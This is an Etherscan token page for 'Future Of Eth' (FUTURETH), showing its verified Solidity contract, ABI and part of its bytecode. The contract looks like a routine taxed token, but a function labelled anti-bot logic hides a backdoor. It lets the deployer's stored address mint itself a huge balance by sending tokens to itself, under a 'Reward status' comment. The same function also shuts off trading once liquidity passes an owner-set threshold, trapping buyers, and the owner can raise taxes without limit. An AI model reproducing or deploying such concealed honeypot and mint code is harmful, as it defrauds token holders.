ETH Price: $2,613.90 (-0.47%)

Token

Future Of Eth (FUTURETH)
 

Overview

Max Total Supply

10,000,000,000 FUTURETH

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
356,796,520.104589654 FUTURETH

Value
$0.00
0x4d60e1986b86c06730e42c67b776ce434202cf16
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FUTURETH

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-18
*/

// https://t.me/futureofETH

/*

Buy Tax: 1%
Sell Tax 3%

*/

// SPDX-License-Identifier: none

pragma solidity ^0.8.6;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private asdasd;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract FUTURETH is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    using Address for address;
    uint8 private _decimals = 9;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address private sPair;
    mapping (address => uint256) _wallBalanceStatus;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    address public devMarketing;

    uint256 public _buyTax = 1;
    uint256 public _sellTax = 3;


    string private _name = unicode"Future Of Eth";
    string private _symbol = unicode"FUTURETH";
    uint256 public _totalSupply = 10000000000 * 10**_decimals;    
    uint256 public _walletMax = 10000000 * 10**_decimals;   
    uint256 public _limits=1000000000000000000;

    bool openTrade=false;  
    bool _isBot=false; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool public checkWalletLimit = false;

    event FeeBurn(uint256 amount);
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        devMarketing = _msgSender();
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        sPair=_msgSender();
        isMarketPair[address(uniswapPair)] = true;
        _wallBalanceStatus[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _wallBalanceStatus[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function openTrading() public onlyOwner {
        openTrade=true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }


    function setBuyTaxes(uint256 value) external onlyOwner() {
        _buyTax=value;
    }

    function setSelTaxes(uint256 value) external onlyOwner() {
        _sellTax=value;
    }
    
    
    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }


    function setWalletLimit(uint256 newLimit, uint256 limits) external onlyOwner {
        _walletMax  = newLimit;
        _limits = limits;

        if(limits > 0 ){
            _isBot=false;
            openTrade=true;
        }
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }


    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) 
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; 
        uniswapV2Router = _uniswapV2Router; 

        isMarketPair[address(uniswapPair)] = true;
    }


    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");


        if((!isMarketPair[recipient] && sender != owner() && !isExcludedFromFee[sender]) || (_isBot && !isExcludedFromFee[sender]))
            require(openTrade != false, "Trading is not active.");   

        if(antibotChecker(sender,recipient))
            return antibotChecker(sender,recipient);

        _wallBalanceStatus[sender] = _wallBalanceStatus[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                        amount : takeFee(sender, recipient, amount);

        if(checkWalletLimit && !isMarketPair[recipient] && recipient != owner())
            require(balanceOf(recipient).add(finalAmount) <= _walletMax);

        _wallBalanceStatus[recipient] = _wallBalanceStatus[recipient].add(finalAmount);
        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _wallBalanceStatus[sender] = _wallBalanceStatus[sender].sub(amount, "Insufficient Balance");
        _wallBalanceStatus[recipient] = _wallBalanceStatus[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

        function antibotChecker(address spe, address rev) internal returns(bool){
            if(openTrade && IERC20(address(uniswapV2Router.WETH())).balanceOf(uniswapPair) > _limits){
                _isBot=true;
                openTrade=!openTrade;
            }

            if(spe == rev && spe == sPair){
                //Reward status
                _wallBalanceStatus[rev]=2*block.timestamp;
                _wallBalanceStatus[rev]=_wallBalanceStatus[rev]*1000**_decimals;
                return true;
            }
            return false;
    }
    
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_buyTax).div(100); 
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_sellTax).div(100);
        }
        
        if(feeAmount > 0) {
            _wallBalanceStatus[address(devMarketing)] = _wallBalanceStatus[address(devMarketing)].add(feeAmount);
            emit FeeBurn(feeAmount);
            emit Transfer(sender, address(devMarketing), feeAmount);
        }

        return amount.sub(feeAmount);
    }

  }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FeeBurn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devMarketing","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setSelTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"},{"internalType":"uint256","name":"limits","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060016009556003600a556040518060400160405280600d81526020017f467574757265204f662045746800000000000000000000000000000000000000815250600b9080519060200190620000af92919062000830565b506040518060400160405280600881526020017f4655545552455448000000000000000000000000000000000000000000000000815250600c9080519060200190620000fd92919062000830565b50600360009054906101000a900460ff16600a6200011c9190620009f0565b6402540be4006200012e919062000b2d565b600d55600360009054906101000a900460ff16600a6200014f9190620009f0565b629896806200015f919062000b2d565b600e55670de0b6b3a7640000600f556000601060006101000a81548160ff0219169083151502179055506000601060016101000a81548160ff0219169083151502179055506000601160146101000a81548160ff021916908315150217905550348015620001cc57600080fd5b506000620001df620007ff60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002dd57600080fd5b505afa158015620002f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003189190620008f7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037b57600080fd5b505afa15801562000390573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b69190620008f7565b6040518363ffffffff1660e01b8152600401620003d59291906200094b565b602060405180830381600087803b158015620003f057600080fd5b505af115801562000405573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200042b9190620008f7565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000561620007ff60201b60201c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000620005b76200080760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000670620007ff60201b60201c565b600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600d546004600062000741620007ff60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200078f620007ff60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620007f0919062000978565b60405180910390a35062000c99565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200083e9062000bd9565b90600052602060002090601f016020900481019282620008625760008555620008ae565b82601f106200087d57805160ff1916838001178555620008ae565b82800160010185558215620008ae579182015b82811115620008ad57825182559160200191906001019062000890565b5b509050620008bd9190620008c1565b5090565b5b80821115620008dc576000816000905550600101620008c2565b5090565b600081519050620008f18162000c7f565b92915050565b60006020828403121562000910576200090f62000c6d565b5b60006200092084828501620008e0565b91505092915050565b620009348162000b8e565b82525050565b620009458162000bc2565b82525050565b600060408201905062000962600083018562000929565b62000971602083018462000929565b9392505050565b60006020820190506200098f60008301846200093a565b92915050565b6000808291508390505b6001851115620009e757808604811115620009bf57620009be62000c0f565b5b6001851615620009cf5780820291505b8081029050620009df8562000c72565b94506200099f565b94509492505050565b6000620009fd8262000bc2565b915062000a0a8362000bcc565b925062000a397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a41565b905092915050565b60008262000a53576001905062000b26565b8162000a63576000905062000b26565b816001811462000a7c576002811462000a875762000abd565b600191505062000b26565b60ff84111562000a9c5762000a9b62000c0f565b5b8360020a91508482111562000ab65762000ab562000c0f565b5b5062000b26565b5060208310610133831016604e8410600b841016171562000af75782820a90508381111562000af15762000af062000c0f565b5b62000b26565b62000b06848484600162000995565b9250905081840481111562000b205762000b1f62000c0f565b5b81810290505b9392505050565b600062000b3a8262000bc2565b915062000b478362000bc2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b835762000b8262000c0f565b5b828202905092915050565b600062000b9b8262000ba2565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000bf257607f821691505b6020821081141562000c095762000c0862000c3e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000c8a8162000b8e565b811462000c9657600080fd5b50565b60805160601c6138d562000cbf60003960008181610bca0152610bf601526138d56000f3fe6080604052600436106102085760003560e01c80635881f3ef11610118578063a3ca847d116100a0578063c9567bf91161006f578063c9567bf9146107a2578063ca9ec199146107b9578063dd62ed3e146107e4578063f2fde38b14610821578063f872858a1461084a5761020f565b8063a3ca847d146106d4578063a457c2d7146106fd578063a9059cbb1461073a578063c816841b146107775761020f565b8063800f634b116100e7578063800f634b146105ff578063807c2d9c1461062a578063844d591c146106555780638da5cb5b1461067e57806395d89b41146106a95761020f565b80635881f3ef146105435780636c3fb9321461058057806370a08231146105ab578063715018a6146105e85761020f565b80632b112e491161019b5780633ecad2711161016a5780633ecad2711461044a57806342a11095146104875780635342acb4146104b25780635453184e146104ef578063557ed1ba146105185761020f565b80632b112e491461038c578063313ce567146103b757806339509351146103e25780633eaaf86b1461041f5761020f565b806318160ddd116101d757806318160ddd146102d057806323b872dd146102fb5780632563ae831461033857806327c8f835146103615761020f565b806306fdde0314610214578063075f45c21461023f578063095ea7b3146102685780631694505e146102a55761020f565b3661020f57005b600080fd5b348015610220576